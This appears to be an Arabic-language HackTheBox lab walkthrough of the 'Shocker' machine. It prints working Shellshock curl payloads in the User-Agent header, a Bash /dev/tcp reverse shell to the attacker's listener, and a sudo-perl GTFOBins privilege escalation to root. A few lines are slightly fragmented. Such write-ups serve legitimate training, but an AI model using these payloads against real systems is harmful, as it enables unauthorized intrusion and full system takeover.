
دليل HTB منظم يوضح استغلال ثغرة Shellshock (CVE-2014-6271) عبر فحص أدلة CGI بالتخمين ورفع الامتيازات عبر أذونات Perl لـ sudo التي تم تكوينها بشكل خاطئ باستخدام GTFOBins.
جولة منظمة واحترافية توضح تحديد واستغلال ثغرة Shellshock الحرجة يدويًا، متبوعة بتصعيد الامتيازات المحلية عبر صلاحيات sudo غير مهيأة بشكل صحيح على هدف يعمل بنظام Linux.
10.10.10.56/usr/bin/perl)يبدأ التقييم بمسح سريع TCP SYN لجميع المنافذ يستهدف المنافذ المفتوحة فقط (--open) مع تخطي اكتشاف المضيف (-Pn) وحل DNS (-n) لتسريع عملية التعرف على البصمة.
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
يكشف المسح الأولي عن خدمتين نشطتين. نجري مسحًا ثانويًا مستهدفًا لتنفيذ كشف عدواني للإصدارات (-sCV) وتقييم الثغرات عبر البرامج النصية:
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
بالتوازي مع فحوصات الثغرات، نبدأ بتجربة إجبارية للدلائل على الويب باستخدام gobuster لرسم خريطة الموارد المخفية على خادم Apache. نستخدم قائمة كلمات قياسية من إطار عمل SecLists:
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
تحدد عملية الفحص دليلاً غير مفهرس /cgi-bin/. في النشرات القديمة للويب، تستخدم خوادم Apache واجهة البوابة المشتركة (CGI) لتنفيذ البرامج النصية من جانب الخادم. بالنظر إلى اسم الجهاز ووجود هذا المجلد، نبحث بقوة عن برامج نصية قابلة للتنفيذ (مثل .sh، .cgi) قد تكون عرضة لثغرات حقن المتغيرات البيئية.
يكشف الاستطلاع الإضافي عن برنامج نصي باسم user.sh موجود داخل الدليل /cgi-bin/.
تسمح ثغرة Shellshock (CVE-2014-6271) للمهاجمين بتنفيذ أوامر تشغيلية عشوائية عن طريق حقن تعريفات دوال ضارة داخل رؤوس طلبات HTTP (مثل User-Agent) التي تتم معالجتها بواسطة نسخ Bash ضعيفة.
نقم بصياغة أمر curl مخصص لإرسال حمولة إثبات المفهوم (PoC) مصممة لإجبار النظام البعيد على تنفيذ الأمر /usr/bin/id:
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id، مما يؤكد تنفيذ أوامر عن بعد غير مصادق عليه (RCE) يشبه المصادق.لترقية ناقل التنفيذ إلى جلسة تفاعلية، ننشئ مستمع Netcat محلي على منصة الهجوم:
nc -lvnp 4444
بعد ذلك، نقوم بحقن سلسلة شل عكسي أصلي في Bash داخل رأس User-Agent الضار لإجبار اتصال عكسي عبر TCP:
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
عند التنفيذ الناجح، نحصل على شل مستقر منخفض الامتيازات:
```bash
$ whoami
shelly
مع سياق مستخدم وظيفي على النظام، نقوم بتدقيق القيود المحلية. نستعلم عن تكوين sudo لتحديد ما إذا كان المستخدم shelly مصرحًا له بتنفيذ أوامر بصلاحيات مرتفعة دون تقديم كلمة مرور:
sudo -l
يكشف الإخراج عن الإدخال التالي عالي المخاطر:
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
بسبب حصولنا على وصول غير مقيد وغير مصادق لتنفيذ الثنائي perl كـ root، يمكننا بسهولة الخروج من قيود الثنائي. بالرجوع إلى GTFOBins، نجد غلاف تنفيذي يوجه Perl للانتقال إلى شل النظام الأصلي (/bin/sh) مع الاحتفاظ بسياق هوية التنفيذ (root):
sudo -u root perl -e 'exec "/bin/sh"'
نحقق فورًا سياق تنفيذ إداري كامل:
# whoami
root
الآن بعد تأسيس وصول الجذر، ننتقل إلى دلائل المنزل ذات الصلة لاسترداد أدلة الاختراق.
# Access User Flag
cat /home/shelly/user.txt
# Access Root Flag
cat /root/root.txt
perl أو python أو bash عبر sudo يقدم ناقلات تصعيد فورية. يجب حصر وصول Sudo على البرامج النصية الإدارية غير التفاعلية والمتحكم بها بشدة.